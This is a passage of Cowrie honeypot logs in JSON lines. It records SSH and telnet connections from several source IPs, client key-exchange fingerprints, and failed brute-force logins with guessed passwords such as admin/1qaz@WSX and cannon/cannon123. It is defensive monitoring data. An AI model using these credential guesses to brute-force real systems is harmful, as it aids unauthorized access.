nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:52.293741Z","src_ip":"159.203.92.129","session":"a12184ec646f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2wsx#EDC","message":"login attempt [admin/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:52.306873Z","src_ip":"159.203.92.129","session":"a12184ec646f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:53.314340Z","src_ip":"159.203.92.129","session":"a12184ec646f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":47876,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7dc3ec8e5f2","protocol":"ssh","message":"New connection: 213.209.159.159:47876 (159.203.135.109:22) [session: c7dc3ec8e5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:00.628701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:00.652118Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:00.736673Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon","message":"login attempt [cannon/cannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:01.163635Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon1","message":"login attempt [cannon/cannon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:02.249258Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon123","message":"login attempt [cannon/cannon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:03.336319Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon1234","message":"login attempt [cannon/cannon1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:04.422441Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cannon","password":"cannon12345","message":"login attempt [cannon/cannon12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:05.509418Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:06.596444Z","src_ip":"213.209.159.159","session":"c7dc3ec8e5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":54042,"dst_ip":"10.17.0.5","dst_port":22,"session":"15955c41745b","protocol":"ssh","message":"New connection: 176.53.96.10:54042 (10.17.0.5:22) [session: 15955c41745b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:20.604015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:20.614291Z","src_ip":"176.53.96.10","session":"15955c41745b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:20.737884Z","src_ip":"176.53.96.10","session":"15955c41745b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdev","password":"webdev123","message":"login attempt [webdev/webdev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:21.265877Z","src_ip":"176.53.96.10","session":"15955c41745b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:22.391879Z","src_ip":"176.53.96.10","session":"15955c41745b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55124,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8682db472f6","protocol":"ssh","message":"New connection: 159.203.92.129:55124 (159.203.135.109:22) [session: f8682db472f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:36.657408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:36.662352Z","src_ip":"159.203.92.129","session":"f8682db472f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:36.667106Z","src_ip":"159.203.92.129","session":"f8682db472f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:36.689406Z","src_ip":"159.203.92.129","session":"f8682db472f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:33:37.710715Z","src_ip":"159.203.92.129","session":"f8682db472f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":38808,"dst_ip":"10.17.0.5","dst_port":22,"session":"071abce3ea3f","protocol":"ssh","message":"New connection: 176.53.96.10:38808 (10.17.0.5:22) [session: 071abce3ea3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:17.144668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:17.149194Z","src_ip":"176.53.96.10","session":"071abce3ea3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:17.278335Z","src_ip":"176.53.96.10","session":"071abce3ea3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz!QAZ","message":"login attempt [git/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:17.792899Z","src_ip":"176.53.96.10","session":"071abce3ea3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:18.918006Z","src_ip":"176.53.96.10","session":"071abce3ea3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51022,"dst_ip":"159.203.135.109","dst_port":22,"session":"b40dec8bb72b","protocol":"ssh","message":"New connection: 159.203.92.129:51022 (159.203.135.109:22) [session: b40dec8bb72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:20.897936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:20.902420Z","src_ip":"159.203.92.129","session":"b40dec8bb72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:20.906364Z","src_ip":"159.203.92.129","session":"b40dec8bb72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX#EDC","message":"login attempt [admin/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:20.916678Z","src_ip":"159.203.92.129","session":"b40dec8bb72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:21.925566Z","src_ip":"159.203.92.129","session":"b40dec8bb72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00614762306213,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:30.705983Z","src_ip":"176.29.26.223","session":"7651a10a6a01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":26502,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ef0a4e5197b","protocol":"telnet","message":"New connection: 176.29.26.223:26502 (159.203.135.109:23) [session: 5ef0a4e5197b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:34:31.091876Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ad3dedcb24","protocol":"ssh","message":"New connection: 159.203.92.129:44520 (159.203.135.109:22) [session: 06ad3dedcb24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:06.597582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:06.732718Z","src_ip":"159.203.92.129","session":"06ad3dedcb24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:06.740270Z","src_ip":"159.203.92.129","session":"06ad3dedcb24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX3edc","message":"login attempt [admin/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:06.974291Z","src_ip":"159.203.92.129","session":"06ad3dedcb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:08.042435Z","src_ip":"159.203.92.129","session":"06ad3dedcb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":49376,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ef898f8356","protocol":"ssh","message":"New connection: 176.53.96.10:49376 (10.17.0.5:22) [session: 20ef898f8356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:15.684271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:15.692740Z","src_ip":"176.53.96.10","session":"20ef898f8356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 